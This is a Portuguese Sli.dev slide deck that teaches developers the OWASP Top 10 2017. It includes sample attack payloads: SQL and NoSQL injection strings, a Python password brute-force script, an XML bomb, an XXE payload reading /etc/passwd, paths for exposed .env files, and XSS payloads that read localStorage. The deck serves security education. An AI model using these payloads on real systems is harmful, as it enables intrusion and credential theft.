Skip to content

Latest commit

 

History

History
457 lines (365 loc) · 12.8 KB

slides.md

File metadata and controls

457 lines (365 loc) · 12.8 KB
theme class background highlighter info
default
text-center
shiki
## OWASP Top 10 Presentation slides for developers. Learn more at [Sli.dev](https://sli.dev)

OWASP Top 10 2017

As 10 vulnerabilidades mais críticas da internet.

Vamos la!


Time Security

Luisa Soares Luisa Soares Head of Legal and Security
Juliano Dapper Juliano Dapper Manager
Bruno Garcia Bruno Garcia Information Security Analyst
Yara Rodrigues Yara Rodrigues Information Security Analyst
Pedro Bittencourt Pedro Bittencourt PCI Specialist
Fernando Guisso Fernando Guisso Security Software Engineer
Marcos Nunes Marcos Nunes LGPD Specialist

OWASP

O OWASP (Open Web Application Security Project), ou Projeto Aberto de Segurança em Aplicações Web, é uma comunidade online que cria e disponibiliza de forma gratuita artigos, metodologias, documentação, ferramentas e tecnologias no campo da segurança de aplicações web.

OWASP.org


OWASP Top 10

  • 📝 Injeção
  • 🧑‍💻 Quebra de Autenticação
  • 🎨 Exposição de dados sensiveis
  • 🤹 XXE / Entidades Externas de XML
  • 🎥 Quebra no controle de acesso
  • 📤 Configuração de segurança incorretas
  • 🛠 XSS
  • 🤹 Desserializacão insegura
  • 🎨 Uso de componentes com vulnerabilidades conhecidas
  • 🛠 Registro e monitoração insuficiente

OWASP Top 10


Injeção

Falhas de injeção, tais como injeções de SQL, OS e LDAP ocorrem quando dados não-confiáveis são enviados para um interpretador como parte de um comando ou consulta legítima.

Os dados hostis do atacante podem enganar o interpretador levando-o a executar comandos não pretendidos ou a aceder a dados sem a devida autorização.

Java SQLi

String query = "SELECT * FROM accounts WHERE userID='"
                + request.getParameter("id") + "'";
id=' or 1=1--

Node NoSQLi

let query = {
	username: req.body.username,
	password: req.body.password
}

User.find(query, function (err, user) {
	if (err) {
        // handle error
	} else {
		res.json({
            role: user[0].role,
            username: user[0].username,
            msg: "Correct!"
        });
	}
});
{"username":"myaccount","password":{"$ne": 1}}

Quebra de Autenticação

As funções da aplicação que estão relacionadas com a autenticação e gestão de sessões são muitas vezes implementadas incorretamente, permitindo que um atacante possa comprometer passwords, chaves, tokens de sessão, ou abusar doutras falhas da implementação que lhe permitam assumir a identidade de outros utilizadores (temporária ou permanentemente).

Python Wordlist bruteforce

import requests

url = "http://localhost:3000/rest/user/login"
params = {"email":"[email protected]","password":""}
wordlist = open("wordlist.txt", "r")
linhas = wordlist.readlines()

for index, line in enumerate(linhas):
    params["password"] = line.rstrip("\n")
    tentativa_login = requests.post(url,params)
    print("Tentativa {}, Senha: {}".format(index, senha))
    if tentativa_login.status_code != 401:
        print("Achei a senha: {}".format(senha))
        break

Exposição de dados sensiveis

Muitas aplicações web e APIs não protegem de forma adequada dados sensíveis, tais como dados financeiros, de saúde ou dados de identificação pessoal (PII). Os atacantes podem roubar ou modificar estes dados mal protegidos para realizar fraudes com cartões de crédito, roubo de identidade, ou outros crimes. Os dados sensíveis necessitam de proteções de segurança extra como encriptação quando armazenados ou em trânsito, tal como precauções especiais quando trocadas com o navegador web.

XXE

Muitos processadores de XML mais antigos ou mal configurados avaliam referências a entidades externas dentro dos documentos XML. Estas entidades externas podem ser usadas para revelar ficheiros internos usando o processador de URI de ficheiros, partilhas internas de ficheiros, pesquisa de portas de comunicação internas, execução de código remoto e ataques de negação de serviço, tal como o ataque Billion Laughs.

Billions Laught attack

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY bar "World ">
  <!ENTITY t1 "&bar;&bar;">
  <!ENTITY t2 "&t1;&t1;&t1;&t1;">
  <!ENTITY t3 "&t2;&t2;&t2;&t2;&t2;">
]>
<foo>
  Hello &t3;
</foo>

SSRF

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM
  "file:///etc/passwd">
  <!ENTITY internaladdrs SYSTEM
  "http://192.168.0.1/secret.txt">
]>
<foo>
  &xxe;
  &internaladdrs;
</foo>

Quebra no controle de acesso

As restrições sobre o que os utilizadores autenticados estão autorizados a fazer nem sempre são corretamente verificadas. Os atacantes podem abusar destas falhas para aceder a funcionalidades ou dados para os quais não têm autorização, tais como dados de outras contas de utilizador, visualizar ficheiros sensíveis, modificar os dados de outros utilizadores, alterar as permissões de acesso, entre outros.

Unprotected admin page

var isAdmin = false;
if (isAdmin) {
  ...
  var adminPanelTag = document.createElement('a');
  adminPanelTag.setAttribute(
    'https://insecure-website.com/administrator-panel'
  );
  adminPanelTag.innerText = 'Admin panel';
  ...
}

Configuração de segurança incorretas

As más configurações de segurança são o aspeto mais observado nos dados recolhidos. Normalmente isto é consequência de configurações padrão inseguras, incompletas ou ad hoc, armazenamento na nuvem sem qualquer restrição de acesso, cabeçalhos HTTP mal configurados ou mensagens de erro com informações sensíveis. Não só todos os sistemas operativos, frameworks, bibliotecas de código e aplicações devem ser configurados de forma segura, como também devem ser atualizados e alvo de correções de segurança atempadamente.

seu roteador

192.168.0.1
user: Admin
pass: admin

Apache/Nginx serving sensitive files

https://insecure-site.com/.git
https://insecure-site.com/.env
https://insecure-site.com/go.mod
https://insecure-site.com/package.json
https://insecure-site.com/requirements.txt
https://insecure-site.com/src/...

XSS

As falhas de XSS ocorrem sempre que uma aplicação inclui dados não-confiáveis numa nova página web sem a validação ou filtragem apropriadas, ou quando atualiza uma página web existente com dados enviados por um utilizador através de uma API do browser que possa criar JavaScript. O XSS permite que atacantes possam executar scripts no browser da vítima, os quais podem raptar sessões do utilizador, descaraterizar sites web ou redirecionar o utilizador para sites maliciosos.

prank

 <iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay"
 src="http://ellisonleao.github.io/clumsy-bird/">
 </iframe>

get localStorage

<image src=1 href=1
    onerror="javascript:alert(localStorage[0])">
</image>

Desserializacão insegura

Desserialização insegura normalmente leva à execução remota de código. Mesmo que isto não aconteça, pode ser usada para realizar ataques, incluindo ataques por repetição, injeção e elevação de privilégios.

java object deserialization

O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}

$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}

Uso de componentes com vulnerabilidades conhecidas

Componentes tais como, bibliotecas, frameworks e outros módulos de software, são executados com os mesmos privilégios que a aplicação. O abuso dum componente vulnerável pode conduzir a uma perda séria de dados ou controlo completo de um servidor. Aplicações e APIs que usem componentes com vulnerabilidades conhecidas podem enfraquecer as defesas da aplicação possibilitando ataques e impactos diversos.

Registro e monitoração insuficiente

O registo e monitorização insuficientes, em conjunto com uma resposta a incidentes inexistente ou insuficiente permite que os atacantes possam abusar do sistema de forma persistente, que o possam usar como entrada para atacar outros sistemas, e que possam alterar, extrair ou destruir dados. Alguns dos estudos demonstram que o tempo necessário para detetar uma violação de dados é de mais de 200 dias e é tipicamente detetada por entidades externas ao invés de processos internos ou monitorização.